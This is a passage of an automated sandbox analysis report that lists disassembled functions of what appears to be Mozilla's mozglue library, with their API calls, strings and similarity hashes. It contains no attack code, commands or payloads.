Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction ID: c58beb77730c3bb50b81c3ab3c95484078194ae74635b95675cd758bd60d9ed7
Opcode Fuzzy Hash: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction Fuzzy Hash: 38418F757002069BDF00CFA7E8D4AD67BB4EB4A768F014529ED1597B80D730B805CFAA

Function 6C6A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C6A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6A0041
GetCurrentThreadId.KERNEL32 ref: 6C6A0075
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C6A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C6A0090
free.MOZGLUE(?), ref: 6C6A0104
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C6A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C6A005B

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 715d2595b8834937728e09b61400d11e8598dcd4df53c565ed4a919c9e421637
Instruction ID: 7e6e514935adee0641d6f1f8b256edd75366cfb438b1d6f785e6d5037f67f481
Opcode Fuzzy Hash: 715d2595b8834937728e09b61400d11e8598dcd4df53c565ed4a919c9e421637
Instruction Fuzzy Hash: 17417E755006459FCB10CF66C880A9ABBF1FF8A318F44491DE95A83B51D731BC16CBAE

Function 6C667E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C667EA7
malloc.MOZGLUE(00000001), ref: 6C667EB3

Part of subcall function 6C66CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C66CB49
Part of subcall function 6C66CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C66CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C667EC4
mozalloc_abort.MOZGLUE(?), ref: 6C667F19
malloc.MOZGLUE(?), ref: 6C667F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C667F4D

Strings

d, xrefs: 6C667F89

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: bbc1749df10a620292a47fcfc72db2247c521bb044989b3b1666867bd625702f
Instruction ID: e830ebfc37e3d5da22a8c8654ceb0f7c4ca94ed4ed5000a78e94d46f495ec9d3
Opcode Fuzzy Hash: bbc1749df10a620292a47fcfc72db2247c521bb044989b3b1666867bd625702f
Instruction Fuzzy Hash: 4C312A61E0438897DB009B2ACC449FEF778EF96308F045229DD4997612FB30B6C8C399

Function 6C663E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C663EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C663FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C6640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C663CCC), ref: 6C6640C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C664134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C663CCC), ref: 6C664157

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: f247eb4cf49074cd7f41e602e599435642a9b1894c5ac81416b866b1157663d0
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 47A181B1A00215CFDB40CF6AC880769B7B5FF49308F2541A9D909AFB42D771E886CBA5

Function 6C652030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C673F47,?,?,?,6C673F47,6C671A70,?), ref: 6C65207F
memset.VCRUNTIME140(?,000000E5,6C673F47,?,6C673F47,6C671A70,?), ref: 6C6520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C673F47,6C671A70,?), ref: 6C65211A
EnterCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C652145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C673F47,6C671A70,?), ref: 6C6521BA
EnterCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C6521E0
LeaveCriticalSection.KERNEL32(6C6DE744,?,6C673F47,6C671A70,?), ref: 6C652232

Strings

MOZ_CRASH(), xrefs: 6C65227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C652253, 6C652268

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 1b06a87d19f9d3a223fc0b0568da93bb295c612d2613a53ff25a5e5064680084
Instruction ID: 7e36738cd544deb886a7857f14d62307f3bb1c14c81ea5c6fc06f313dd50c072
Opcode Fuzzy Hash: 1b06a87d19f9d3a223fc0b0568da93bb295c612d2613a53ff25a5e5064680084
Instruction Fuzzy Hash: A861E431F042168FCB14CE69C889B6E77B1AF85318F794239E624A7B94D770A810CB99

Function 6C6A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

Function 6C6ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6ADDCF

Part of subcall function 6C68FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C68FA4B

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE0D
free.MOZGLUE(00000000), ref: 6C6ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF32

Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADB86
Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF65
free.MOZGLUE(?), ref: 6C6ADF80

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction ID: 0ac89ea29ca3db6d5035dcbc7cb8b3ff9466a922f856cee50f87de06b4473153
Opcode Fuzzy Hash: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction Fuzzy Hash: 4551A1726016019BD7219BA9C8806EFB3B2BF96308F95051CDD5A53B00DB31BD1BCB9E

Function 6C6B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DC9
std::_Facet_Register.LIBCPMT ref: 6C6B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E45

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction ID: d43d3134bb9ef4e9c4d1c2bb39eb2cd6776b1883bcd6658d4225881a6cacb5f0
Opcode Fuzzy Hash: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction Fuzzy Hash: 08417C307002049FDB10DFA6C8D8AAE77F6EF89314F144169E506AB791EB30A915CB69

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8
<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C65ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

0, xrefs: 6C6CA5FB
z, xrefs: 6C6CA6AE

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 6C6A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6A0F88
GetCurrentThreadId.KERNEL32 ref: 6C6A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C6A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C6A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C6A114B

Part of subcall function 6C698AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C6B1563), ref: 6C698BD5

free.MOZGLUE(?), ref: 6C6A1174
free.MOZGLUE(?), ref: 6C6A1186

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: b9d50b2a4b8431f7868675881a5dcfdc2c95544afed3b4fb2e42252ad135d9da
Instruction ID: 49dfba786d0adaa59ed0ba26cdbba3b7503cfec9f4aa35b290351c3b2a6838aa
Opcode Fuzzy Hash: b9d50b2a4b8431f7868675881a5dcfdc2c95544afed3b4fb2e42252ad135d9da
Instruction Fuzzy Hash: F961C3756043409FDB10CF65C88079AB7F5BFCA308F04891DE98957712EB31E95ACB9A

Function 6C65B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C65B61E,?,?,?,?,?,00000000), ref: 6C65B6AC

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

